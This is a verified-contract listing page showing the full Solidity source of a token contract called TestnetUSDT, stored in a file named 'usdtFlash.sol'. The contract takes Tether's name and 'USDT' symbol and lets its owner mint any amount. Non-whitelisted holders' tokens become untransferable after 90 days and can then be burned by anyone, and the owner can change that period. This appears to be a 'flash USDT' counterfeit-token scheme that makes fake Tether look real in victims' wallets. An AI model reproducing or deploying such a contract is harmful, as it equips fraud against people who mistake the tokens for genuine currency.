TestnetUSDT

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "usdtFlash.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.20;\r
\r
contract TestnetUSDT {\r
    string public name = "Tether";\r
    string public symbol = "USDT";\r
    uint8 public decimals = 18;\r
    uint256 public totalSupply;\r
    address public owner;\r
\r
    mapping(address => uint256) public balanceOf;\r
    mapping(address => mapping(address => uint256)) public allowance;\r
\r
    uint256 public validityPeriod = 90 days;\r
    mapping(address => uint256) public lastReceivedTimestamp;\r
    mapping(address => bool) public whitelist;\r
\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
    event Approval(address indexed owner_, address indexed spender, uint256 value);\r
    event Mint(address indexed to, uint256 value);\r
    event Burn(address indexed from, uint256 value);\r
    event BurnExpired(address indexed who, uint256 value);\r
    event WhitelistUpdated(address indexed who, bool allowed);\r
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r
\r
    modifier onlyOwner() {\r
        require(msg.sender == owner, "Not owner");\r
        _;\r
    }\r
\r
    constructor() {\r
        owner = msg.sender;\r
        whitelist[owner] = true;\r
        uint256 initial = 1_000_000 * (10 ** uint256(decimals));\r
        _mint(owner, initial);\r
    }\r
\r
    function _mint(address to, uint256 amount) internal {\r
        require(to != address(0), "mint to zero");\r
        totalSupply += amount;\r
        balanceOf[to] += amount;\r
        lastReceivedTimestamp[to] = block.timestamp;\r
        emit Mint(to, amount);\r
        emit Transfer(address(0), to, amount);\r
    }\r
\r
    function mint(address to, uint256 amount) external onlyOwner {\r
        _mint(to, amount);\r
    }\r
\r
    function burn(uint256 amount) external {\r
        require(balanceOf[msg.sender] >= amount, "Insufficient");\r
        balanceOf[msg.sender] -= amount;\r
        totalSupply -= amount;\r
        emit Burn(msg.sender, amount);\r
        emit Transfer(msg.sender, address(0), amount);\r
    }\r
\r
    function approve(address spender, uint256 amount) external returns (bool) {\r
        allowance[msg.sender][spender] = amount;\r
        emit Approval(msg.sender, spender, amount);\r
        return true;\r
    }\r
\r
    function transfer(address to, uint256 amount) external returns (bool) {\r
        _transfer(msg.sender, to, amount);\r
        return true;\r
    }\r
\r
    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\r
        uint256 allowed = allowance[from][msg.sender];\r
        require(allowed >= amount, "Allowance exceeded");\r
        allowance[from][msg.sender] = allowed - amount;\r
        _transfer(from, to, amount);\r
        return true;\r
    }\r
\r
    function _transfer(address from, address to, uint256 amount) internal {\r
        require(from != address(0) && to != address(0), "Zero addr");\r
        require(balanceOf[from] >= amount, "Insufficient balance");\r
\r
        if (!whitelist[from] && validityPeriod > 0) {\r
            uint256 t = lastReceivedTimestamp[from];\r
            require(t != 0 && block.timestamp <= t + validityPeriod, "Tokens expired or not recently received");\r
        }\r
\r
        balanceOf[from] -= amount;\r
        balanceOf[to] += amount;\r
        lastReceivedTimestamp[to] = block.timestamp;\r
\r
        emit Transfer(from, to, amount);\r
    }\r
\r
    function setWhitelist(address who, bool allowed) external onlyOwner {\r
        require(who != address(0), "zero");\r
        whitelist[who] = allowed;\r
        emit WhitelistUpdated(who, allowed);\r
    }\r
\r
    function burnExpired(address who) external {\r
        require(who != address(0) && !whitelist[who], "Invalid");\r
        uint256 t = lastReceivedTimestamp[who];\r
        require(t != 0 && block.timestamp > t + validityPeriod, "Not expired");\r
        uint256 bal = balanceOf[who];\r
        require(bal > 0, "No balance");\r
\r
        balanceOf[who] = 0;\r
        totalSupply -= bal;\r
\r
        emit BurnExpired(who, bal);\r
        emit Transfer(who, address(0), bal);\r
    }\r
\r
    function setValidityPeriod(uint256 seconds_) external onlyOwner {\r
        validityPeriod = seconds_;\r
    }\r
\r
    function transferOwnership(address newOwner) external onlyOwner {\r
        require(newOwner != address(0), "zero");\r
        owner = newOwner;\r
        whitelist[newOwner] = true;\r
        emit OwnershipTransferred(msg.sender, newOwner);\r
    }\r
}\r
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0xe9b5f16e3ec951b9e11f1098f5dfd55ad7cc2ed0|verified:true|block:23698667|tx:0x6e904f0e99d5a60e9d1df7df8550602f9055a14e6e74e5a0cec831dcf382b6fb|first_check:1761933398

Submitted on: 2025-10-31 18:56:39

Comments

Log in to comment.

No comments yet.